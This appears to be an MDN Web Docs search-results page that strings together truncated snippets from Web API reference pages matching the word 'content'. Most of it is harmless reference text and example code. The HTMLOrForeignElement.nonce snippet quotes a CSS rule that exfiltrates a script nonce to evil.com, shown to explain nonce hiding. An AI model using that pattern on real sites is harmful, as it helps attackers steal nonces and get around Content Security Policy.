... fetch mixin body provides methods relating to the body of the response/request, allowing you to declare what its
content type is and how it should be handled.
FileEntrySync - Web APIs
it lets you write
content to a file.
... basic concepts to write
content to file, create a filewriter object by calling createwriter().
FileReader.readAsText() - Web APIs
the readastext() method is used to read the
contents of the specified blob or file.
... when the read operation is complete, the readystate is changed to done, the loadend event is triggered, and the result property contains the
contents of the file as a text string.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
the filesystemdirectoryentry interface's method removerecursively() removes the directory as well as all of its
content, hierarchically iterating over its entire subtree of descendant files and directories.
...possible reasons include: the directory and/or its
contents may not be safe to access from a web application.
FileSystemFileEntry - Web APIs
basic concepts to write
content to file, create a filewriter object by calling createwriter().
... to read a file, obtain a file object representing its
contents by calling file().
File and Directory Entries API - Web APIs
filesystemdirectoryreader created by calling filesystemdirectoryentry.createreader(), this interface provides the functionality which lets you read the
contents of a directory.
... filesystemdirectoryreadersync created by calling filesystemdirectoryentrysync.createreader(), this interface provides the functionality which lets you read the
contents of a directory.
Guide to the Fullscreen API - Web APIs
for example, <iframe> elements have the allowfullscreen attribute in order to opt-in to allowing their
content to be displayed in fullscreen mode.
... in addition, certain kinds of
content, such as windowed plug-ins, cannot be presented in fullscreen mode.
Using the Geolocation API - Web APIs
body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.text
content = ''; function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; status.text
content = ''; maplink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`; maplink.text
content = `latitude: ${latitude} °, longitude: ${longitude} °`; } function error() { status.text
content = 'unable to retri...
...eve your location'; } if(!navigator.geolocation) { status.text
content = 'geolocation is not supported by your browser'; } else { status.text
content = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result ...
Geolocation API - Web APIs
body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.text
content = ''; function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; status.text
content = ''; maplink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`; maplink.text
content = `latitude: ${latitude} °, longitude: ${longitude} °`; } function error() { status.text
content = 'unable to retri...
...eve your location'; } if(!navigator.geolocation) { status.text
content = 'geolocation is not supported by your browser'; } else { status.text
content = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result specifications specification status comment geolocation api recommendation ...
GlobalEventHandlers.onchange - Web APIs
example this example logs the number of characters in an <input> element, every time you modify its
contents and then change focus away from it.
... html <input type="text" placeholder="type something here, then click outside of the field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.text
content = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specification status comment html living standardthe definition of 'onchange' in that specification.
GlobalEventHandlers.onclick - Web APIs
html <div id="demo">click here</div> javascript document.getelementbyid('demo').onclick = function change
content() { document.getelementbyid('demo').innerhtml = "help me"; document.getelementbyid('demo').style = "color: red"; } result getting the coordinates of clicks this example displays the coordinates at which the most recent mouse button click occurred.
... html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.text
content = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html living standardthe definition of 'onclick' in that specification.
GlobalEventHandlers.onscroll - Web APIs
onwheel handles general wheel rotation, while onscroll handles scrolling of an object's
content.
... html <textarea>1 2 3 4 5 6 7 8 9</textarea> <p id="log"></p> css textarea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const textarea = document.queryselector('textarea'); const log = document.getelementbyid('log'); textarea.onscroll = logscroll; function logscroll(e) { log.text
content = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html living standardthe definition of 'onscroll' in that specification.
GlobalEventHandlers.ontransitioncancel - Web APIs
n: width 2s, height 2s, background-color 2s, -webkit-transform 2s, color 2s; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #ffcccc; color: #000000; width: 200px; height: 200px; -webkit-transform: rotate(180deg); transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text
content of the box when the transition begins and ends.
..."zooming..."; } box.ontransitionend = function(event) { box.innerhtml = "done!"; } box.onclick = function() { box.style.display = 'none'; timeout = window.settimeout(appear, 2000); function appear() { box.style.display = 'block'; } } box.ontransitioncancel = function(event) { console.log('transitioncancel fired after ' + event.elapsedtime + ' seconds.'); } result the resulting
content looks like this: notice what happens when you hover your mouse cursor over the box, then move it away.
GlobalEventHandlers.ontransitionend - Web APIs
ackground-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #ffcccc; color: #000000; width: 200px; height: 200px; transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text
content of the box when the transition begins and ends.
... let box = document.queryselector(".box"); box.ontransitionrun = function(event) { box.innerhtml = "zooming..."; } box.ontransitionend = function(event) { box.innerhtml = "done!"; } result the resulting
content looks like this: notice what happens when you hover your mouse cursor over the box, then move it away.
GlobalEventHandlers.onwheel - Web APIs
note: don't confuse onwheel with onscroll: onwheel handles general wheel rotation, while onscroll handles scrolling of an object's
content.
... html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-
content: center; } div { width: 80px; height: 80px; background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scal...
HTMLCanvasElement.getContext() - Web APIs
"bitmaprenderer" which will create an imagebitmaprenderingcontext which only provides functionality to replace the
content of the canvas with a given imagebitmap.
...if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent
content and images.
HTMLCanvasElement.toBlob() - Web APIs
exceptions securityerror the canvas's bitmap is not origin clean; at least some of its
contents come from secure examples getting a file representing the canvas once you have drawn
content into a canvas, you can convert it into a file of any supported image format.
... var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcallback(iconname) { return function(b) { var a = document.createelement('a'); a.text
content = 'download'; document.body.appendchild(a); a.style.display = 'block'; a.download = iconname + '.ico'; a.href = window.url.createobjecturl(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); save toblob to disk with os.file (chrome/add-on context only) this technique saves it to the desktop ...
HTMLElement: animationcancel event - Web APIs
calex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.text
content = `${animationeventlog.text
content}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation ended'`; an...
...imation.classlist.remove('active'); applyanimation.text
content = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.text
content = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.text
content = "cancel animation"; } else { applyanimation.text
content = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationend event - Web APIs
dth: 300%; } to { margin-left: 0%; width: 100%; } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.text
content = `${animationeventlog.text
content}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation ended'`; an...
...imation.classlist.remove('active'); applyanimation.text
content = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.text
content = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.text
content = "cancel animation"; } else { applyanimation.text
content = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationiteration event - Web APIs
calex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.text
content = `${animationeventlog.text
content}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation ended'`; an...
...imation.classlist.remove('active'); applyanimation.text
content = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.text
content = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.text
content = "cancel animation"; } else { applyanimation.text
content = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationstart event - Web APIs
calex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation started' `; }); animation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.text
content = `${animationeventlog.text
content}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation ended'`; an...
...imation.classlist.remove('active'); applyanimation.text
content = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.text
content = `${animationeventlog.text
content}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.text
content = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.text
content = "cancel animation"; } else { applyanimation.text
content = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: change event - Web APIs
la">vanilla</option> </select> </label> <div class="result"></div> body { display: grid; grid-template-areas: "select result"; } select { grid-area: select; } .result { grid-area: result; } javascript const selectelement = document.queryselector('.ice-cream'); selectelement.addeventlistener('change', (event) => { const result = document.queryselector('.result'); result.text
content = `you like ${event.target.value}`; }); result text input element for some elements, including <input type="text">, the change event doesn't fire until the control loses focus.
... html <input placeholder="enter some text" name="name"/> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('change', updatevalue); function updatevalue(e) { log.text
content = e.target.value; } result specifications specification status html living standardthe definition of 'change' in that specification.
HTMLImageElement.decoding - Web APIs
possible values are: sync: decode the image synchronously for atomic presentation with other
content.
... async: decode the image asynchronously to reduce delay in presenting other
content.
HTMLImageElement - Web APIs
htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicating the alternate fallback
content to be displayed if the image has not been loaded.
... htmlimageelement.longdesc a usvstring specifying the url at which a long description of the image's
contents may be found.
HTMLInputElement.webkitdirectory - Web APIs
when a directory is selected, the directory and its entire hierarchy of
contents are included in the set of selected items.
... html
content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript
content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = f...
HTMLLabelElement.htmlFor - Web APIs
the htmllabelelement.htmlfor property reflects the value of the for
content property.
... that means that this script-accessible property is used to set and read the value of the
content property for, which is the id of the label's associated control element.
HTMLMediaElement.captureStream() - Web APIs
the capturestream() property of the htmlmediaelement interface returns a mediastream object which is streaming a real-time capture of the
content being rendered in the media element.
... example in this example, an event handler is established so that clicking a button starts capturing the
contents of a media element with the id "playback" into a mediastream.
HTMLMediaElement: loadstart event - Web APIs
bubbles no cancelable no interface event event handler property onloadstart examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; }...
... .event-log>label { display: block; } js const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-
contents'); let source = null; function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.text
content = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-exa...
HTMLMediaElement: progress event - Web APIs
bubbles no cancelable no interface event event handler property onprogress examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; }...
... .event-log>label { display: block; } javascript const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-
contents'); let source = null; function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.text
content = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interac...
HTMLMediaElement - Web APIs
htmlmediaelement.capturestream() returns mediastream, captures a stream of the media
content.
... canplay fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of
content canplaythrough fired when the user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
HTMLOrForeignElement.nonce - Web APIs
the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by
content security policy to determine whether a given fetch will be allowed to proceed.
... nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from
content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLSlotElement.assignedNodes() - Web APIs
if no assigned nodes are found, it returns the slot's fallback
content.
...ots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its
contents changed in the example.
HTMLTableElement - Web APIs
it indicates the alignment of the element's
contents with respect to the surrounding context.
... htmltableelement.cellpadding is a domstring containing the width in pixels of the horizontal and vertical sapce between cell
content and cell borders.
HTMLTableRowElement - Web APIs
it indicates the alignment of the element's
contents with respect to the surrounding context.
... htmltablerowelement.valign is a domstring representing an enumerated value indicating how the
content of the cell must be vertically aligned.
HTMLTableSectionElement - Web APIs
it indicates the alignment of the element's
contents with respect to the surrounding context.
... htmltablesectionelement.valign is a domstring representing an enumerated value indicating how the
content of the cell must be vertically aligned.
HTMLTemplateElement - Web APIs
the htmltemplateelement interface enables access to the
contents of an html <template> element.
...
content read only a read-only documentfragment which contains the dom subtree representing the <template> element's template
contents.
HTMLVideoElement.videoHeight - Web APIs
this can happen when the element switches from displaying the poster frame to displaying video
content, or when the displayed video track changes.
... example this example creates a handler for the resize event that resizes the <video> element to match the intrinsic size of its
contents.
HTMLVideoElement.videoWidth - Web APIs
this can happen when the element switches from displaying the poster frame to displaying video
content, or when the displayed video track changes.
... example this example creates a handler for the resize event that resizes the <video> element to match the intrinsic size of its
contents.
In depth: Microtasks and the JavaScript runtime environment - Web APIs
this is the main thread, and in addition to running your site's main code body, it handles receiving and dispatching user and other events, rendering and painting web
content, and so forth.
...keep in mind that web parlance, the word "window" actually means "browser-level container that web
content runs within," including an actual window, a tab, or a frame.
Recommended Drag Types - Web APIs
for example: http://www.mozilla.org mozilla http://www.example.com example dragging html and xml html
content may use the text/html type.
... xml
content may use the text/xml type, but ensure that the data is well-formed xml.
Headers() - Web APIs
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('
content-type', 'image/jpeg'); myheaders.get('
content-type'); // returns 'image/jpeg' or you can add the headers you want as the headers object is created.
... in the following snippet we create a new headers object, adding some headers by passing the constructor an init object as an argument: var httpheaders = { '
content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('
content-type'); // would return 'image/jpeg' — it inherits it from the first headers object specifications specification status comment fetchthe definition of 'headers()' in that specification.
Basic concepts - Web APIs
note: third party window
content (e.g.
... <iframe>
content) can access the indexeddb store for the origin it is embedded into, unless the browser is set to never accept third party cookies (see bug 1147821.) definitions this section defines and explains terms used in the indexeddb api.
InputEvent() - Web APIs
inputeventinitoptional is a inputeventinit dictionary, having the following fields: inputtype: (optional) a string specifying the type of change for editible
content such as, for example, inserting, deleting, or formatting text.
... datatransfer: (optional) a datatransfer object containing information about richtext or plaintext data being added to or removed from editible
content.
InputEvent.data - Web APIs
examples in the following simple example we've set up an event listener on the input event so that when any change is made to the
contents of the <input> element (either by typing or pasting), the text that was added is retrieved via the inputevent.data property and reported in the paragraph below the input.
... <p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.text
content = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
MediaCapabilities.decodingInfo() - Web APIs
return value a promise fulfilling with a mediacapabilitiesinfo interface containing three boolean attributes: supported smooth powerefficient exceptions a typeerror is raised if the mediaconfiguration passed to the decodinginfo() method is invalid, either because the type is not video or audio, the
contenttype is not a valid codec mime type, the media decoding configuration is not a valid value for the media decoding type, or any other error in the media configuration passed to the method, including omitting values required in the media decoding configuration.
... example //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source' audio : {
contenttype : "audio/ogg", // valid
content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
MediaCapabilities.encodingInfo() - Web APIs
return value a promise fulfilling with a mediacapabilitiesinfo interface containing three boolean attributes: supported smooth powerefficient exceptions a typeerror is raised if the mediaconfiguration passed to the encodinginfo() method is invalid, either because the type is not video or audio, the
contenttype is not a valid codec mime type, or any other error in the media configuration passed to the method, including omitting any of the media encoding configuration elements.
... example //create media configuration to be tested const mediaconfig = { type : 'record', // or 'transmission' video : {
contenttype : "video/webm;codecs=vp8.0", // valid
content type width : 1920, // width of the video height : 1080, // height of the video bitrate : 120000, // number of bits used to encode 1s of video framerate : 48 // number of frames making up that 1s.
MediaCapabilitiesInfo - Web APIs
properties the mediacapabilitiesinfo interface contains three boolean attribues: supported: given the properties defined in the mediaconfiguration, can the specified piece of media
content be encoded (if mediaencodingconfiguration is set) or decode (if mediadecodingconfiguration is set) at all?
... example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : {
contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { // result contains the media capabilities information console.log('this configuration is ' + (result.supported ?
MediaDevices.ondevicechange - Web APIs
html
content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div class="left"> <h2>audio devices:</h2> <ul class="devicelist" id="audiolist"></ul> </div> <div class="right"> <h2>video devices:</h2> <ul class="devicelist" id="videolist"></ul> </div> <div id="log"></d...
...iv> css
content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } h2 { margin-bottom: 4px; } .left { float:left; width: 48%; margin-right: 2% } .right { float:right; width: 48%; margin-left: 2% } .devicelist { border: 1px solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript
content other code below is other code which, while needed to make this example work, isn'tt related directly to ondevicechange, so we won't go into any detail.
MediaKeyMessageEvent - Web APIs
the mediakeymessageevent interface of the encryptedmediaextensions api contains the
content and related data when the
content decryption module generates a message for the session.
... mediakeymessageevent.message read only returns an arraybuffer with a message from the
content decryption module.
MediaKeySession - Web APIs
the mediakeysession interface of the encryptedmediaextensions api represents a context for message exchange with a
content decryption module (cdm).
... mediakeysession.onmessage sets the eventhandler called when the
content decryption module has generated a message for the session.
MediaRecorder.mimeType - Web APIs
mdn web docs
content uses the terms interchangeably.
...see also media types to learn more about media types and how they're used in web
content and by web browers.
MediaTrackConstraints.deviceId - Web APIs
syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) device ids which are acceptable as the source of media
content.
...however, the value of the deviceid is determined by the source of the track's
content, and there's no particular format mandated by the specification (although some kind of guid is recommended).
MediaTrackConstraints.displaySurface - Web APIs
for example, if your app needs to know that the surface being shared is a monitor or application—meaning that there's possibly a non-
content backdrop—it can use code similar to this: let mayhavebackdropflag = false; let displaysurface = displaystream.getvideotracks()[0].getsettings().displaysurface; if (displaysurface === "monitor" || displaysurface ==="application") { mayhavebackdropflag = true; } following this code, mayhavebackdrop is true if the display surface contained in the stream is of type monitor or application; ei...
...ther of these may have non-
content backdrop areas.
MediaTrackConstraints.groupId - Web APIs
syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids which are acceptable as the source of media
content.
... however, the value of the groupid is determined by the source of the track's
content, and there's no particular format mandated by the specification (although some kind of guid is recommended).
MediaTrackSettings.logicalSurface - Web APIs
the most common scenario in which a display surface may be a logical one is if the selected surface contains the entire
content area of a window which is too large to display onscreen at once.
... since the window that contains the surface has to be scrolled to show the rest of the
contents, the surface is a logical one.
MessagePort: message event - Web APIs
addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.text
content = event.data; }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.text
content = event.data; }; }); specifications specification status html living standard living standard ...
MessagePort: messageerror event - Web APIs
lick', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.text
content = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.text
content = event.data; }; myport.onmessageerror = (event) => { console.error(event.data); }; }); specifications specification status html living standard living standard ...
MouseEvent - Web APIs
mouseevent.clientx read only the x coordinate of the mouse pointer in local (dom
content) coordinates.
... mouseevent.clienty read only the y coordinate of the mouse pointer in local (dom
content) coordinates.
Web-based protocol handlers - Web APIs
note:the server side code is passed the entire
contents of the href.
...the data sent:</p> <textarea> <?php echo(htmlspecialchars($value, ent_quotes, 'utf-8')); ?> </textarea> </body> </html> references http://www.w3.org/tr/2011/wd-html5-20110525/timers.html#custom-handlers see also window.navigator.register
contenthandler nsiprotocolhandler (xul only) registerprotocolhandler enhancing the federated web at mozilla webdev register a custom protocolhandler at google developers.
Node.nodeValue - Web APIs
for text, comment, and cdata nodes, nodevalue returns the
content of the node.
... the following table shows the return values for different elements: node value of nodevalue cdatasection
content of the cdata section comment
content of the comment document null documentfragment null documenttype null element null namednodemap null entityreference null notation null processinginstruction entire
content excluding the target text
content of the text node when nodevalue is defined to be null, setting it has no effect.
Node.replaceChild() - Web APIs
example // given: // <div> // <span id="childspan">foo bar</span> // </div> // create an empty element node // without an id, any attributes, or any
content var sp1 = document.createelement("span"); // give it an id attribute called 'newspan' sp1.id = "newspan"; // create some
content for the new element.
... var sp1_
content = document.createtextnode("new replacement span element."); // apply that
content to the new element sp1.appendchild(sp1_
content); // build a reference to the existing node to be replaced var sp2 = document.getelementbyid("childspan"); var parentdiv = sp2.parentnode; // replace existing node sp2 with the new span element sp1 parentdiv.replacechild(sp1, sp2); // result: // <div> // <span id="newspan">new replacement span element.</span> // </div> specifications specification status comment domthe definition of 'node: replacechild' in that specification.
NodeFilter.acceptNode() - Web APIs
terator( // node to use as root document.getelementbyid('someid'), // only consider nodes that are text nodes (nodetype 3) nodefilter.show_text, // object containing the function to use for the acceptnode method // of the nodefilter { acceptnode: function(node) { // logic to determine whether to accept, reject or skip node // in this case, only accept nodes that have
content // other than whitespace if ( !
... /^\s*$/.test(node.data) ) { return nodefilter.filter_accept; } } }, false ); // show the
content of every non-empty text node that is a child of root var node; while ((node = iterator.nextnode())) { alert(node.data); } specifications specification status comment domthe definition of 'nodefilter.acceptnode()' in that specification.
NodeFilter - Web APIs
terator( // node to use as root document.getelementbyid('someid'), // only consider nodes that are text nodes (nodetype 3) nodefilter.show_text, // object containing the function to use for the acceptnode method // of the nodefilter { acceptnode: function(node) { // logic to determine whether to accept, reject or skip node // in this case, only accept nodes that have
content // other than whitespace if ( !
... /^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the
content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
OffscreenCanvas.getContext() - Web APIs
"bitmaprenderer" creates a imagebitmaprenderingcontext which only provides functionality to replace the
content of the canvas with a given imagebitmap.
...if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent
content and images then.
PerformanceNavigationTiming - Web APIs
performancenavigationtiming.dom
contentloadedeventend read only a domhighrestimestamp representing the time value equal to the time immediately after the current document's dom
contentloaded event completes.
... performancenavigationtiming.dom
contentloadedeventstart read only a domhighrestimestamp representing the time value equal to the time immediately before the user agent fires the dom
contentloaded event at the current document.
PerformancePaintTiming - Web APIs
performanceentry.name returns either "first-paint" or "first-
contentful-paint".
...the time to first-
contentful-paint was 2787.460 milliseconds.
PerformanceResourceTiming - Web APIs
performanceresourcetiming.encodedbodysizeread only a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied
content-codings.
... performanceresourcetiming.decodedbodysizeread only a number that is the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied
content-codings.
PerformanceTiming - Web APIs
performancetiming.dom
contentloadedeventstart read only right before the parser sent the dom
contentloaded event, that is right after all the scripts that need to be executed right after parsing have been executed.
... performancetiming.dom
contentloadedeventend read only right after all the scripts that need to be executed as soon as possible, in order or not, have been executed.
ProgressEvent() - Web APIs
when downloading a resource using http, this only represent the part of the
content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the
content itself, not headers and other overhead.
ProgressEvent.initProgressEvent() - Web APIs
when downloading a resource using http, this only represent the part of the
content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the
content itself, not headers and other overhead.
ProgressEvent - Web APIs
when downloading a resource using http, this only represent the part of the
content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the
content itself, not headers and other overhead.
RTCDataChannel.binaryType - Web APIs
syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages'
contents will be contained in blob objects.
... "arraybuffer" received binary messages'
